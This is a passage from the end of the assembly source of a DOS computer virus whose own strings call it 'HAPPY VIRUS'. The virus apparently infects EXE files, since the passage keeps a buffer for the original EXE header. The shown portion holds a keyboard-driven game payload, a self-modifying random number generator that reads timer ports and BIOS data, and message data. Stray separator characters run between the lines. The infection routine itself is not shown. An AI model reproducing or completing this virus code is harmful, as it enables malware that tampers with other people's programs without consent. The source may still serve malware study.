jb wt_lup
|
||
|
||
stop_waiting: push cs
|
||
pop ds
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Check if shift key's are pressed.
|
||
;------------------------------------------------------------------------------
|
||
|
||
check_key: mov ah,2
|
||
int 16
|
||
|
||
test al,1
|
||
jz not_right
|
||
cmp byte ptr [pos],(40d-1)
|
||
je not_right
|
||
inc byte ptr [pos]
|
||
ret
|
||
|
||
not_right: test al,2
|
||
jz no_key
|
||
cmp byte ptr [pos],0
|
||
je no_key
|
||
dec byte ptr [pos]
|
||
no_key: ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Random number generator.
|
||
;------------------------------------------------------------------------------
|
||
|
||
rnd_init: push ax
|
||
push cx
|
||
call rnd_init0 ;init
|
||
and ax,000F
|
||
inc ax
|
||
xchg ax,cx
|
||
random_lup: call rnd_get ;call random routine a few
|
||
loop random_lup ; times to 'warm up'
|
||
pop cx
|
||
pop ax
|
||
ret
|
||
|
||
rnd_init0: push dx ;initialize generator
|
||
push cx
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
in al,40
|
||
mov ah,al
|
||
in al,40
|
||
xor ax,word ptr ds:[041E]
|
||
mov dx,word ptr ds:[046C]
|
||
xor dx,ax
|
||
pop ds
|
||
jmp short move_rnd
|
||
|
||
nonzero_get: call rnd_get
|
||
or ax,ax
|
||
jz nonzero_get
|
||
ret
|
||
|
||
rnd_get: push dx ;calculate a random number
|
||
push cx
|
||
push bx
|
||
in al,40
|
||
values: add ax,0 ;will be: mov ax,xxxx
|
||
mov dx,0 ; and mov dx,xxxx
|
||
mov cx,7
|
||
rnd_lup: shl ax,1
|
||
rcl dx,1
|
||
mov bl,al
|
||
xor bl,dh
|
||
jns rnd_l2
|
||
inc al
|
||
rnd_l2: loop rnd_lup
|
||
pop bx
|
||
|
||
move_rnd: push si
|
||
call me
|
||
me: pop si
|
||
mov word ptr cs:[si+(offset values-offset me)+1],ax
|
||
mov word ptr cs:[si+(offset values-offset me)+4],dx
|
||
pop si
|
||
mov al,dl
|
||
pop cx
|
||
pop dx
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Data
|
||
;------------------------------------------------------------------------------
|
||
|
||
beginmess db 'HAPPY VIRUS '
|
||
db 'Time to play a game '
|
||
db '(Use shift keys)'
|
||
|
||
|
||
endmess db 'You reached level '
|
||
db 'Play again?'
|
||
|
||
colors db 4, 5, 1, 3, 0C, 0Dh, 9, 0Bh, 0
|
||
|
||
|
||
orgvalues db 3, (40d/2)
|
||
|
||
buffer db (BUFLEN) dup ('#') ;Buffer for orig. EXE header.
|
||
|
||
|
||
last:
|
||
end first
|
||
|
||
|